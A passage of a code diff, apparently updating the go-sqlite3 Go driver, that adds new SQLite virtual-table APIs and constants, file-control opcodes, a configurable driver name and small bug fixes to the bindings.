** void *pClientData,
|
||||
** const char *zSchema,
|
||||
** unsigned int nDbPage,
|
||||
** unsigned int nFreePage,
|
||||
** unsigned int nBytePerPage
|
||||
** ){
|
||||
** return nFreePage;
|
||||
** }
|
||||
** </pre></blockquote>
|
||||
*/
|
||||
SQLITE_API int sqlite3_autovacuum_pages(
|
||||
sqlite3 *db,
|
||||
unsigned int(*)(void*,const char*,unsigned int,unsigned int,unsigned int),
|
||||
void*,
|
||||
void(*)(void*)
|
||||
);
|
||||
|
||||
|
||||
/*
|
||||
** CAPI3REF: Data Change Notification Callbacks
|
||||
** METHOD: sqlite3
|
||||
@@ -6989,24 +7138,56 @@ struct sqlite3_index_info {
|
||||
**
|
||||
** These macros define the allowed values for the
|
||||
** [sqlite3_index_info].aConstraint[].op field. Each value represents
|
||||
** an operator that is part of a constraint term in the wHERE clause of
|
||||
** an operator that is part of a constraint term in the WHERE clause of
|
||||
** a query that uses a [virtual table].
|
||||
**
|
||||
** ^The left-hand operand of the operator is given by the corresponding
|
||||
** aConstraint[].iColumn field. ^An iColumn of -1 indicates the left-hand
|
||||
** operand is the rowid.
|
||||
** The SQLITE_INDEX_CONSTRAINT_LIMIT and SQLITE_INDEX_CONSTRAINT_OFFSET
|
||||
** operators have no left-hand operand, and so for those operators the
|
||||
** corresponding aConstraint[].iColumn is meaningless and should not be
|
||||
** used.
|
||||
**
|
||||
** All operator values from SQLITE_INDEX_CONSTRAINT_FUNCTION through
|
||||
** value 255 are reserved to represent functions that are overloaded
|
||||
** by the [xFindFunction|xFindFunction method] of the virtual table
|
||||
** implementation.
|
||||
**
|
||||
** The right-hand operands for each constraint might be accessible using
|
||||
** the [sqlite3_vtab_rhs_value()] interface. Usually the right-hand
|
||||
** operand is only available if it appears as a single constant literal
|
||||
** in the input SQL. If the right-hand operand is another column or an
|
||||
** expression (even a constant expression) or a parameter, then the
|
||||
** sqlite3_vtab_rhs_value() probably will not be able to extract it.
|
||||
** ^The SQLITE_INDEX_CONSTRAINT_ISNULL and
|
||||
** SQLITE_INDEX_CONSTRAINT_ISNOTNULL operators have no right-hand operand
|
||||
** and hence calls to sqlite3_vtab_rhs_value() for those operators will
|
||||
** always return SQLITE_NOTFOUND.
|
||||
**
|
||||
** The collating sequence to be used for comparison can be found using
|
||||
** the [sqlite3_vtab_collation()] interface. For most real-world virtual
|
||||
** tables, the collating sequence of constraints does not matter (for example
|
||||
** because the constraints are numeric) and so the sqlite3_vtab_collation()
|
||||
** interface is no commonly needed.
|
||||
*/
|
||||
#define SQLITE_INDEX_CONSTRAINT_EQ 2
|
||||
#define SQLITE_INDEX_CONSTRAINT_GT 4
|
||||
#define SQLITE_INDEX_CONSTRAINT_LE 8
|
||||
#define SQLITE_INDEX_CONSTRAINT_LT 16
|
||||
#define SQLITE_INDEX_CONSTRAINT_GE 32
|
||||
#define SQLITE_INDEX_CONSTRAINT_MATCH 64
|
||||
#define SQLITE_INDEX_CONSTRAINT_LIKE 65
|
||||
#define SQLITE_INDEX_CONSTRAINT_GLOB 66
|
||||
#define SQLITE_INDEX_CONSTRAINT_REGEXP 67
|
||||
#define SQLITE_INDEX_CONSTRAINT_NE 68
|
||||
#define SQLITE_INDEX_CONSTRAINT_ISNOT 69
|
||||
#define SQLITE_INDEX_CONSTRAINT_ISNOTNULL 70
|
||||
#define SQLITE_INDEX_CONSTRAINT_ISNULL 71
|
||||
#define SQLITE_INDEX_CONSTRAINT_IS 72
|
||||
#define SQLITE_INDEX_CONSTRAINT_FUNCTION 150
|
||||
#define SQLITE_INDEX_CONSTRAINT_EQ 2
|
||||
#define SQLITE_INDEX_CONSTRAINT_GT 4
|
||||
#define SQLITE_INDEX_CONSTRAINT_LE 8
|
||||
#define SQLITE_INDEX_CONSTRAINT_LT 16
|
||||
#define SQLITE_INDEX_CONSTRAINT_GE 32
|
||||
#define SQLITE_INDEX_CONSTRAINT_MATCH 64
|
||||
#define SQLITE_INDEX_CONSTRAINT_LIKE 65
|
||||
#define SQLITE_INDEX_CONSTRAINT_GLOB 66
|
||||
#define SQLITE_INDEX_CONSTRAINT_REGEXP 67
|
||||
#define SQLITE_INDEX_CONSTRAINT_NE 68
|
||||
#define SQLITE_INDEX_CONSTRAINT_ISNOT 69
|
||||
#define SQLITE_INDEX_CONSTRAINT_ISNOTNULL 70
|
||||
#define SQLITE_INDEX_CONSTRAINT_ISNULL 71
|
||||
#define SQLITE_INDEX_CONSTRAINT_IS 72
|
||||
#define SQLITE_INDEX_CONSTRAINT_LIMIT 73
|
||||
#define SQLITE_INDEX_CONSTRAINT_OFFSET 74
|
||||
#define SQLITE_INDEX_CONSTRAINT_FUNCTION 150
|
||||
|
||||
/*
|
||||
** CAPI3REF: Register A Virtual Table Implementation
|
||||
@@ -7035,7 +7216,7 @@ struct sqlite3_index_info {
|
||||
** destructor.
|
||||
**
|
||||
** ^If the third parameter (the pointer to the sqlite3_module object) is
|
||||
** NULL then no new module is create and any existing modules with the
|
||||
** NULL then no new module is created and any existing modules with the
|
||||
** same name are dropped.
|
||||
**
|
||||
** See also: [sqlite3_drop_modules()]
|
||||
@@ -7811,7 +7992,8 @@ SQLITE_API int sqlite3_test_control(int op, ...);
|
||||
#define SQLITE_TESTCTRL_SEEK_COUNT 30
|
||||
#define SQLITE_TESTCTRL_TRACEFLAGS 31
|
||||
#define SQLITE_TESTCTRL_TUNE 32
|
||||
#define SQLITE_TESTCTRL_LAST 32 /* Largest TESTCTRL */
|
||||
#define SQLITE_TESTCTRL_LOGEST 33
|
||||
#define SQLITE_TESTCTRL_LAST 33 /* Largest TESTCTRL */
|
||||
|
||||
/*
|
||||
** CAPI3REF: SQL Keyword Checking
|
||||
@@ -8334,6 +8516,16 @@ SQLITE_API int sqlite3_stmt_status(sqlite3_stmt*, int op,int resetFlg);
|
||||
** The counter is incremented on the first [sqlite3_step()] call of each
|
||||
** cycle.
|
||||
**
|
||||
** [[SQLITE_STMTSTATUS_FILTER_MISS]]
|
||||
** [[SQLITE_STMTSTATUS_FILTER HIT]]
|
||||
** <dt>SQLITE_STMTSTATUS_FILTER_HIT<br>
|
||||
** SQLITE_STMTSTATUS_FILTER_MISS</dt>
|
||||
** <dd>^SQLITE_STMTSTATUS_FILTER_HIT is the number of times that a join
|
||||
** step was bypassed because a Bloom filter returned not-found. The
|
||||
** corresponding SQLITE_STMTSTATUS_FILTER_MISS value is the number of
|
||||
** times that the Bloom filter returned a find, and thus the join step
|
||||
** had to be processed as normal.
|
||||
**
|
||||
** [[SQLITE_STMTSTATUS_MEMUSED]] <dt>SQLITE_STMTSTATUS_MEMUSED</dt>
|
||||
** <dd>^This is the approximate number of bytes of heap memory
|
||||
** used to store the prepared statement. ^This value is not actually
|
||||
@@ -8348,6 +8540,8 @@ SQLITE_API int sqlite3_stmt_status(sqlite3_stmt*, int op,int resetFlg);
|
||||
#define SQLITE_STMTSTATUS_VM_STEP 4
|
||||
#define SQLITE_STMTSTATUS_REPREPARE 5
|
||||
#define SQLITE_STMTSTATUS_RUN 6
|
||||
#define SQLITE_STMTSTATUS_FILTER_MISS 7
|
||||
#define SQLITE_STMTSTATUS_FILTER_HIT 8
|
||||
#define SQLITE_STMTSTATUS_MEMUSED 99
|
||||
|
||||
/*
|
||||
@@ -9011,8 +9205,9 @@ SQLITE_API void sqlite3_log(int iErrCode, const char *zFormat, ...);
|
||||
**
|
||||
** A single database handle may have at most a single write-ahead log callback
|
||||
** registered at one time. ^Calling [sqlite3_wal_hook()] replaces any
|
||||
** previously registered write-ahead log callback. ^Note that the
|
||||
** [sqlite3_wal_autocheckpoint()] interface and the
|
||||
** previously registered write-ahead log callback. ^The return value is
|
||||
** a copy of the third parameter from the previous call, if any, or 0.
|
||||
** ^Note that the [sqlite3_wal_autocheckpoint()] interface and the
|
||||
** [wal_autocheckpoint pragma] both invoke [sqlite3_wal_hook()] and will
|
||||
** overwrite any prior [sqlite3_wal_hook()] settings.
|
||||
*/
|
||||
@@ -9315,19 +9510,269 @@ SQLITE_API int sqlite3_vtab_nochange(sqlite3_context*);
|
||||
|
||||
/*
|
||||
** CAPI3REF: Determine The Collation For a Virtual Table Constraint
|
||||
** METHOD: sqlite3_index_info
|
||||
**
|
||||
** This function may only be called from within a call to the [xBestIndex]
|
||||
** method of a [virtual table].
|
||||
** method of a [virtual table]. This function returns a pointer to a string
|
||||
** that is the name of the appropriate collation sequence to use for text
|
||||
** comparisons on the constraint identified by its arguments.
|
||||
**
|
||||
** The first argument must be the sqlite3_index_info object that is the
|
||||
** first parameter to the xBestIndex() method. The second argument must be
|
||||
** an index into the aConstraint[] array belonging to the sqlite3_index_info
|
||||
** structure passed to xBestIndex. This function returns a pointer to a buffer
|
||||
** containing the name of the collation sequence for the corresponding
|
||||
** constraint.
|
||||
** The first argument must be the pointer to the [sqlite3_index_info] object
|
||||
** that is the first parameter to the xBestIndex() method. The second argument
|
||||
** must be an index into the aConstraint[] array belonging to the
|
||||
** sqlite3_index_info structure passed to xBestIndex.
|
||||
**
|
||||
** Important:
|
||||
** The first parameter must be the same pointer that is passed into the
|
||||
** xBestMethod() method. The first parameter may not be a pointer to a
|
||||
** different [sqlite3_index_info] object, even an exact copy.
|
||||
**
|
||||
** The return value is computed as follows:
|
||||
**
|
||||
** <ol>
|
||||
** <li><p> If the constraint comes from a WHERE clause expression that contains
|
||||
** a [COLLATE operator], then the name of the collation specified by
|
||||
** that COLLATE operator is returned.
|
||||
** <li><p> If there is no COLLATE operator, but the column that is the subject
|
||||
** of the constraint specifies an alternative collating sequence via
|
||||
** a [COLLATE clause] on the column definition within the CREATE TABLE
|
||||
** statement that was passed into [sqlite3_declare_vtab()], then the
|
||||
** name of that alternative collating sequence is returned.
|
||||
** <li><p> Otherwise, "BINARY" is returned.
|
||||
** </ol>
|
||||
*/
|
||||
SQLITE_API SQLITE_EXPERIMENTAL const char *sqlite3_vtab_collation(sqlite3_index_info*,int);
|
||||
|
||||
/*
|
||||
** CAPI3REF: Determine if a virtual table query is DISTINCT
|
||||
** METHOD: sqlite3_index_info
|
||||
**
|
||||
** This API may only be used from within an [xBestIndex|xBestIndex method]
|
||||
** of a [virtual table] implementation. The result of calling this
|
||||
** interface from outside of xBestIndex() is undefined and probably harmful.
|
||||
**
|
||||
** ^The sqlite3_vtab_distinct() interface returns an integer that is
|
||||
** either 0, 1, or 2. The integer returned by sqlite3_vtab_distinct()
|
||||
** gives the virtual table additional information about how the query
|
||||
** planner wants the output to be ordered. As long as the virtual table
|
||||
** can meet the ordering requirements of the query planner, it may set
|
||||
** the "orderByConsumed" flag.
|
||||
**
|
||||
** <ol><li value="0"><p>
|
||||
** ^If the sqlite3_vtab_distinct() interface returns 0, that means
|
||||
** that the query planner needs the virtual table to return all rows in the
|
||||
** sort order defined by the "nOrderBy" and "aOrderBy" fields of the
|
||||
** [sqlite3_index_info] object. This is the default expectation. If the
|
||||
** virtual table outputs all rows in sorted order, then it is always safe for
|
||||
** the xBestIndex method to set the "orderByConsumed" flag, regardless of
|
||||
** the return value from sqlite3_vtab_distinct().
|
||||
** <li value="1"><p>
|
||||
** ^(If the sqlite3_vtab_distinct() interface returns 1, that means
|
||||
** that the query planner does not need the rows to be returned in sorted order
|
||||
** as long as all rows with the same values in all columns identified by the
|
||||
** "aOrderBy" field are adjacent.)^ This mode is used when the query planner
|
||||
** is doing a GROUP BY.
|
||||
** <li value="2"><p>
|
||||
** ^(If the sqlite3_vtab_distinct() interface returns 2, that means
|
||||
** that the query planner does not need the rows returned in any particular
|
||||
** order, as long as rows with the same values in all "aOrderBy" columns
|
||||
** are adjacent.)^ ^(Furthermore, only a single row for each particular
|
||||
** combination of values in the columns identified by the "aOrderBy" field
|
||||
** needs to be returned.)^ ^It is always ok for two or more rows with the same
|
||||
** values in all "aOrderBy" columns to be returned, as long as all such rows
|
||||
** are adjacent. ^The virtual table may, if it chooses, omit extra rows
|
||||
** that have the same value for all columns identified by "aOrderBy".
|
||||
** ^However omitting the extra rows is optional.
|
||||
** This mode is used for a DISTINCT query.
|
||||
** </ol>
|
||||
**
|
||||
** ^For the purposes of comparing virtual table output values to see if the
|
||||
** values are same value for sorting purposes, two NULL values are considered
|
||||
** to be the same. In other words, the comparison operator is "IS"
|
||||
** (or "IS NOT DISTINCT FROM") and not "==".
|
||||
**
|
||||
** If a virtual table implementation is unable to meet the requirements
|
||||
** specified above, then it must not set the "orderByConsumed" flag in the
|
||||
** [sqlite3_index_info] object or an incorrect answer may result.
|
||||
**
|
||||
** ^A virtual table implementation is always free to return rows in any order
|
||||
** it wants, as long as the "orderByConsumed" flag is not set. ^When the
|
||||
** the "orderByConsumed" flag is unset, the query planner will add extra
|
||||
** [bytecode] to ensure that the final results returned by the SQL query are
|
||||
** ordered correctly. The use of the "orderByConsumed" flag and the
|
||||
** sqlite3_vtab_distinct() interface is merely an optimization. ^Careful
|
||||
** use of the sqlite3_vtab_distinct() interface and the "orderByConsumed"
|
||||
** flag might help queries against a virtual table to run faster. Being
|
||||
** overly aggressive and setting the "orderByConsumed" flag when it is not
|
||||
** valid to do so, on the other hand, might cause SQLite to return incorrect
|
||||
** results.
|
||||
*/
|
||||
SQLITE_API int sqlite3_vtab_distinct(sqlite3_index_info*);
|
||||
|
||||
/*
|
||||
** CAPI3REF: Identify and handle IN constraints in xBestIndex
|
||||
**
|
||||
** This interface may only be used from within an
|
||||
** [xBestIndex|xBestIndex() method] of a [virtual table] implementation.
|
||||
** The result of invoking this interface from any other context is
|
||||
** undefined and probably harmful.
|
||||
**
|
||||
** ^(A constraint on a virtual table of the form
|
||||
** "[IN operator|column IN (...)]" is
|
||||
** communicated to the xBestIndex method as a
|
||||
** [SQLITE_INDEX_CONSTRAINT_EQ] constraint.)^ If xBestIndex wants to use
|
||||
** this constraint, it must set the corresponding
|
||||
** aConstraintUsage[].argvIndex to a postive integer. ^(Then, under
|
||||
** the usual mode of handling IN operators, SQLite generates [bytecode]
|
||||
** that invokes the [xFilter|xFilter() method] once for each value
|
||||
** on the right-hand side of the IN operator.)^ Thus the virtual table
|
||||
** only sees a single value from the right-hand side of the IN operator
|
||||
** at a time.
|
||||
**
|
||||
** In some cases, however, it would be advantageous for the virtual
|
||||
** table to see all values on the right-hand of the IN operator all at
|
||||
** once. The sqlite3_vtab_in() interfaces facilitates this in two ways:
|
||||
**
|
||||
** <ol>
|
||||
** <li><p>
|
||||
** ^A call to sqlite3_vtab_in(P,N,-1) will return true (non-zero)
|
||||
** if and only if the [sqlite3_index_info|P->aConstraint][N] constraint
|
||||
** is an [IN operator] that can be processed all at once. ^In other words,
|
||||
** sqlite3_vtab_in() with -1 in the third argument is a mechanism
|
||||
** by which the virtual table can ask SQLite if all-at-once processing
|
||||
** of the IN operator is even possible.
|
||||
**
|
||||
** <li><p>
|
||||
** ^A call to sqlite3_vtab_in(P,N,F) with F==1 or F==0 indicates
|
||||
** to SQLite that the virtual table does or does not want to process
|
||||
** the IN operator all-at-once, respectively. ^Thus when the third
|
||||
** parameter (F) is non-negative, this interface is the mechanism by
|
||||
** which the virtual table tells SQLite how it wants to process the
|
||||
** IN operator.
|
||||
** </ol>
|
||||
**
|
||||
** ^The sqlite3_vtab_in(P,N,F) interface can be invoked multiple times
|
||||
** within the same xBestIndex method call. ^For any given P,N pair,
|
||||
** the return value from sqlite3_vtab_in(P,N,F) will always be the same
|
||||
** within the same xBestIndex call. ^If the interface returns true
|
||||
** (non-zero), that means that the constraint is an IN operator
|
||||
** that can be processed all-at-once. ^If the constraint is not an IN
|
||||
** operator or cannot be processed all-at-once, then the interface returns
|
||||
** false.
|
||||
**
|
||||
** ^(All-at-once processing of the IN operator is selected if both of the
|
||||
** following conditions are met:
|
||||
**
|
||||
** <ol>
|
||||
** <li><p> The P->aConstraintUsage[N].argvIndex value is set to a positive
|
||||
** integer. This is how the virtual table tells SQLite that it wants to
|
||||
** use the N-th constraint.
|
||||
**
|
||||
** <li><p> The last call to sqlite3_vtab_in(P,N,F) for which F was
|
||||
** non-negative had F>=1.
|
||||
** </ol>)^
|
||||
**
|
||||
** ^If either or both of the conditions above are false, then SQLite uses
|
||||
** the traditional one-at-a-time processing strategy for the IN constraint.
|
||||
** ^If both conditions are true, then the argvIndex-th parameter to the
|
||||
** xFilter method will be an [sqlite3_value] that appears to be NULL,
|
||||
** but which can be passed to [sqlite3_vtab_in_first()] and
|
||||
** [sqlite3_vtab_in_next()] to find all values on the right-hand side
|
||||
** of the IN constraint.
|
||||
*/
|
||||
SQLITE_API int sqlite3_vtab_in(sqlite3_index_info*, int iCons, int bHandle);
|
||||
|
||||
/*
|
||||
** CAPI3REF: Find all elements on the right-hand side of an IN constraint.
|
||||
**
|
||||
** These interfaces are only useful from within the
|
||||
** [xFilter|xFilter() method] of a [virtual table] implementation.
|
||||
** The result of invoking these interfaces from any other context
|
||||
** is undefined and probably harmful.
|
||||
**
|
||||
** The X parameter in a call to sqlite3_vtab_in_first(X,P) or
|
||||
** sqlite3_vtab_in_next(X,P) must be one of the parameters to the
|
||||
** xFilter method which invokes these routines, and specifically
|
||||
** a parameter that was previously selected for all-at-once IN constraint
|
||||
** processing use the [sqlite3_vtab_in()] interface in the
|
||||
** [xBestIndex|xBestIndex method]. ^(If the X parameter is not
|
||||
** an xFilter argument that was selected for all-at-once IN constraint
|
||||
** processing, then these routines return [SQLITE_MISUSE])^ or perhaps
|
||||
** exhibit some other undefined or harmful behavior.
|
||||
**
|
||||
** ^(Use these routines to access all values on the right-hand side
|
||||
** of the IN constraint using code like the following:
|
||||
**
|
||||
** <blockquote><pre>
|
||||
** for(rc=sqlite3_vtab_in_first(pList, &pVal);
|
||||
** rc==SQLITE_OK && pVal
|
||||
** rc=sqlite3_vtab_in_next(pList, &pVal)
|
||||
** ){
|
||||
** // do something with pVal
|
||||
** }
|
||||
** if( rc!=SQLITE_OK ){
|
||||
** // an error has occurred
|
||||
** }
|
||||
** </pre></blockquote>)^
|
||||
**
|
||||
** ^On success, the sqlite3_vtab_in_first(X,P) and sqlite3_vtab_in_next(X,P)
|
||||
** routines return SQLITE_OK and set *P to point to the first or next value
|
||||
** on the RHS of the IN constraint. ^If there are no more values on the
|
||||
** right hand side of the IN constraint, then *P is set to NULL and these
|
||||
** routines return [SQLITE_DONE]. ^The return value might be
|
||||
** some other value, such as SQLITE_NOMEM, in the event of a malfunction.
|
||||
**
|
||||
** The *ppOut values returned by these routines are only valid until the
|
||||
** next call to either of these routines or until the end of the xFilter
|
||||
** method from which these routines were called. If the virtual table
|
||||
** implementation needs to retain the *ppOut values for longer, it must make
|
||||
** copies. The *ppOut values are [protected sqlite3_value|protected].
|
||||
*/
|
||||
SQLITE_API int sqlite3_vtab_in_first(sqlite3_value *pVal, sqlite3_value **ppOut);
|
||||
SQLITE_API int sqlite3_vtab_in_next(sqlite3_value *pVal, sqlite3_value **ppOut);
|
||||
|
||||
/*
|
||||
** CAPI3REF: Constraint values in xBestIndex()
|
||||
** METHOD: sqlite3_index_info
|
||||
**
|
||||
** This API may only be used from within the [xBestIndex|xBestIndex method]
|
||||
** of a [virtual table] implementation. The result of calling this interface
|
||||
** from outside of an xBestIndex method are undefined and probably harmful.
|
||||
**
|
||||
** ^When the sqlite3_vtab_rhs_value(P,J,V) interface is invoked from within
|
||||
** the [xBestIndex] method of a [virtual table] implementation, with P being
|
||||
** a copy of the [sqlite3_index_info] object pointer passed into xBestIndex and
|
||||
** J being a 0-based index into P->aConstraint[], then this routine
|
||||
** attempts to set *V to the value of the right-hand operand of
|
||||
** that constraint if the right-hand operand is known. ^If the
|
||||
** right-hand operand is not known, then *V is set to a NULL pointer.
|
||||
** ^The sqlite3_vtab_rhs_value(P,J,V) interface returns SQLITE_OK if
|
||||
** and only if *V is set to a value. ^The sqlite3_vtab_rhs_value(P,J,V)
|
||||
** inteface returns SQLITE_NOTFOUND if the right-hand side of the J-th
|
||||
** constraint is not available. ^The sqlite3_vtab_rhs_value() interface
|
||||
** can return an result code other than SQLITE_OK or SQLITE_NOTFOUND if
|
||||
** something goes wrong.
|
||||
**
|
||||
** The sqlite3_vtab_rhs_value() interface is usually only successful if
|
||||
** the right-hand operand of a constraint is a literal value in the original
|
||||
** SQL statement. If the right-hand operand is an expression or a reference
|
||||
** to some other column or a [host parameter], then sqlite3_vtab_rhs_value()
|
||||
** will probably return [SQLITE_NOTFOUND].
|
||||
**
|
||||
** ^(Some constraints, such as [SQLITE_INDEX_CONSTRAINT_ISNULL] and
|
||||
** [SQLITE_INDEX_CONSTRAINT_ISNOTNULL], have no right-hand operand. For such
|
||||
** constraints, sqlite3_vtab_rhs_value() always returns SQLITE_NOTFOUND.)^
|
||||
**
|
||||
** ^The [sqlite3_value] object returned in *V is a protected sqlite3_value
|
||||
** and remains valid for the duration of the xBestIndex method call.
|
||||
** ^When xBestIndex returns, the sqlite3_value object returned by
|
||||
** sqlite3_vtab_rhs_value() is automatically deallocated.
|
||||
**
|
||||
** The "_rhs_" in the name of this routine is an appreviation for
|
||||
** "Right-Hand Side".
|
||||
*/
|
||||
SQLITE_API int sqlite3_vtab_rhs_value(sqlite3_index_info*, int, sqlite3_value **ppVal);
|
||||
|
||||
/*
|
||||
** CAPI3REF: Conflict resolution modes
|
||||
** KEYWORDS: {conflict resolution mode}
|
||||
@@ -9879,6 +10324,10 @@ SQLITE_API unsigned char *sqlite3_serialize(
|
||||
** database is currently in a read transaction or is involved in a backup
|
||||
** operation.
|
||||
**
|
||||
** It is not possible to deserialized into the TEMP database. If the
|
||||
** S argument to sqlite3_deserialize(D,S,P,N,M,F) is "temp" then the
|
||||
** function returns SQLITE_ERROR.
|
||||
**
|
||||
** If sqlite3_deserialize(D,S,P,N,M,F) fails for any reason and if the
|
||||
** SQLITE_DESERIALIZE_FREEONCLOSE bit is set in argument F, then
|
||||
** [sqlite3_free()] is invoked on argument P prior to returning.
|
||||
|
||||
+91
-8
@@ -4,6 +4,7 @@
|
||||
// Use of this source code is governed by an MIT-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
//go:build cgo
|
||||
// +build cgo
|
||||
|
||||
package sqlite3
|
||||
@@ -21,8 +22,10 @@ package sqlite3
|
||||
#cgo CFLAGS: -DSQLITE_ENABLE_UPDATE_DELETE_LIMIT
|
||||
#cgo CFLAGS: -Wno-deprecated-declarations
|
||||
#cgo linux,!android CFLAGS: -DHAVE_PREAD64=1 -DHAVE_PWRITE64=1
|
||||
#cgo openbsd CFLAGS: -I/usr/local/include
|
||||
#cgo openbsd LDFLAGS: -L/usr/local/lib
|
||||
#ifndef USE_LIBSQLITE3
|
||||
#include <sqlite3-binding.h>
|
||||
#include "sqlite3-binding.h"
|
||||
#else
|
||||
#include <sqlite3.h>
|
||||
#endif
|
||||
@@ -231,8 +234,14 @@ const (
|
||||
columnTimestamp string = "timestamp"
|
||||
)
|
||||
|
||||
// This variable can be replaced with -ldflags like below:
|
||||
// go build -ldflags="-X 'github.com/mattn/go-sqlite3.driverName=my-sqlite3'"
|
||||
var driverName = "sqlite3"
|
||||
|
||||
func init() {
|
||||
sql.Register("sqlite3", &SQLiteDriver{})
|
||||
if driverName != "" {
|
||||
sql.Register(driverName, &SQLiteDriver{})
|
||||
}
|
||||
}
|
||||
|
||||
// Version returns SQLite library version information.
|
||||
@@ -288,6 +297,51 @@ const (
|
||||
/*SQLITE_RECURSIVE = C.SQLITE_RECURSIVE*/
|
||||
)
|
||||
|
||||
// Standard File Control Opcodes
|
||||
// See: https://www.sqlite.org/c3ref/c_fcntl_begin_atomic_write.html
|
||||
const (
|
||||
SQLITE_FCNTL_LOCKSTATE = int(1)
|
||||
SQLITE_FCNTL_GET_LOCKPROXYFILE = int(2)
|
||||
SQLITE_FCNTL_SET_LOCKPROXYFILE = int(3)
|
||||
SQLITE_FCNTL_LAST_ERRNO = int(4)
|
||||
SQLITE_FCNTL_SIZE_HINT = int(5)
|
||||
SQLITE_FCNTL_CHUNK_SIZE = int(6)
|
||||
SQLITE_FCNTL_FILE_POINTER = int(7)
|
||||
SQLITE_FCNTL_SYNC_OMITTED = int(8)
|
||||
SQLITE_FCNTL_WIN32_AV_RETRY = int(9)
|
||||
SQLITE_FCNTL_PERSIST_WAL = int(10)
|
||||
SQLITE_FCNTL_OVERWRITE = int(11)
|
||||
SQLITE_FCNTL_VFSNAME = int(12)
|
||||
SQLITE_FCNTL_POWERSAFE_OVERWRITE = int(13)
|
||||
SQLITE_FCNTL_PRAGMA = int(14)
|
||||
SQLITE_FCNTL_BUSYHANDLER = int(15)
|
||||
SQLITE_FCNTL_TEMPFILENAME = int(16)
|
||||
SQLITE_FCNTL_MMAP_SIZE = int(18)
|
||||
SQLITE_FCNTL_TRACE = int(19)
|
||||
SQLITE_FCNTL_HAS_MOVED = int(20)
|
||||
SQLITE_FCNTL_SYNC = int(21)
|
||||
SQLITE_FCNTL_COMMIT_PHASETWO = int(22)
|
||||
SQLITE_FCNTL_WIN32_SET_HANDLE = int(23)
|
||||
SQLITE_FCNTL_WAL_BLOCK = int(24)
|
||||
SQLITE_FCNTL_ZIPVFS = int(25)
|
||||
SQLITE_FCNTL_RBU = int(26)
|
||||
SQLITE_FCNTL_VFS_POINTER = int(27)
|
||||
SQLITE_FCNTL_JOURNAL_POINTER = int(28)
|
||||
SQLITE_FCNTL_WIN32_GET_HANDLE = int(29)
|
||||
SQLITE_FCNTL_PDB = int(30)
|
||||
SQLITE_FCNTL_BEGIN_ATOMIC_WRITE = int(31)
|
||||
SQLITE_FCNTL_COMMIT_ATOMIC_WRITE = int(32)
|
||||
SQLITE_FCNTL_ROLLBACK_ATOMIC_WRITE = int(33)
|
||||
SQLITE_FCNTL_LOCK_TIMEOUT = int(34)
|
||||
SQLITE_FCNTL_DATA_VERSION = int(35)
|
||||
SQLITE_FCNTL_SIZE_LIMIT = int(36)
|
||||
SQLITE_FCNTL_CKPT_DONE = int(37)
|
||||
SQLITE_FCNTL_RESERVE_BYTES = int(38)
|
||||
SQLITE_FCNTL_CKPT_START = int(39)
|
||||
SQLITE_FCNTL_EXTERNAL_READER = int(40)
|
||||
SQLITE_FCNTL_CKSM_FILE = int(41)
|
||||
)
|
||||
|
||||
// SQLiteDriver implements driver.Driver.
|
||||
type SQLiteDriver struct {
|
||||
Extensions []string
|
||||
@@ -828,6 +882,10 @@ func (c *SQLiteConn) exec(ctx context.Context, query string, args []namedValue)
|
||||
tail := s.(*SQLiteStmt).t
|
||||
s.Close()
|
||||
if tail == "" {
|
||||
if res == nil {
|
||||
// https://github.com/mattn/go-sqlite3/issues/963
|
||||
res = &SQLiteResult{0, 0}
|
||||
}
|
||||
return res, nil
|
||||
}
|
||||
query = tail
|
||||
@@ -1409,12 +1467,6 @@ func (d *SQLiteDriver) Open(dsn string) (driver.Conn, error) {
|
||||
return nil, errors.New("sqlite succeeded without returning a database")
|
||||
}
|
||||
|
||||
rv = C.sqlite3_busy_timeout(db, C.int(busyTimeout))
|
||||
if rv != C.SQLITE_OK {
|
||||
C.sqlite3_close_v2(db)
|
||||
return nil, Error{Code: ErrNo(rv)}
|
||||
}
|
||||
|
||||
exec := func(s string) error {
|
||||
cs := C.CString(s)
|
||||
rv := C.sqlite3_exec(db, cs, nil, nil, nil)
|
||||
@@ -1425,6 +1477,12 @@ func (d *SQLiteDriver) Open(dsn string) (driver.Conn, error) {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Busy timeout
|
||||
if err := exec(fmt.Sprintf("PRAGMA busy_timeout = %d;", busyTimeout)); err != nil {
|
||||
C.sqlite3_close_v2(db)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// USER AUTHENTICATION
|
||||
//
|
||||
// User Authentication is always performed even when
|
||||
@@ -1800,6 +1858,31 @@ func (c *SQLiteConn) SetLimit(id int, newVal int) int {
|
||||
return int(C._sqlite3_limit(c.db, C.int(id), C.int(newVal)))
|
||||
}
|
||||
|
||||
// SetFileControlInt invokes the xFileControl method on a given database. The
|
||||
// dbName is the name of the database. It will default to "main" if left blank.
|
||||
// The op is one of the opcodes prefixed by "SQLITE_FCNTL_". The arg argument
|
||||
// and return code are both opcode-specific. Please see the SQLite documentation.
|
||||
//
|
||||
// This method is not thread-safe as the returned error code can be changed by
|
||||
// another call if invoked concurrently.
|
||||
//
|
||||
// See: sqlite3_file_control, https://www.sqlite.org/c3ref/file_control.html
|
||||
func (c *SQLiteConn) SetFileControlInt(dbName string, op int, arg int) error {
|
||||
if dbName == "" {
|
||||
dbName = "main"
|
||||
}
|
||||
|
||||
cDBName := C.CString(dbName)
|
||||
defer C.free(unsafe.Pointer(cDBName))
|
||||
|
||||
cArg := C.int(arg)
|
||||
rv := C.sqlite3_file_control(c.db, cDBName, C.int(op), unsafe.Pointer(&cArg))
|
||||
if rv != C.SQLITE_OK {
|
||||
return c.lastError()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Close the statement.
|
||||
func (s *SQLiteStmt) Close() error {
|
||||
s.mu.Lock()
|
||||
|
||||
+1
-1
@@ -8,7 +8,7 @@ package sqlite3
|
||||
/*
|
||||
|
||||
#ifndef USE_LIBSQLITE3
|
||||
#include <sqlite3-binding.h>
|
||||
#include "sqlite3-binding.h"
|
||||
#else
|
||||
#include <sqlite3.h>
|
||||
#endif
|
||||
|
||||
+1
-1
@@ -9,7 +9,7 @@ package sqlite3
|
||||
|
||||
/*
|
||||
#ifndef USE_LIBSQLITE3
|
||||
#include <sqlite3-binding.h>
|
||||
#include "sqlite3-binding.h"
|
||||
#else
|
||||
#include <sqlite3.h>
|
||||
#endif
|
||||
|
||||
+1
-1
@@ -13,7 +13,7 @@ package sqlite3
|
||||
#cgo LDFLAGS: -lm
|
||||
|
||||
#ifndef USE_LIBSQLITE3
|
||||
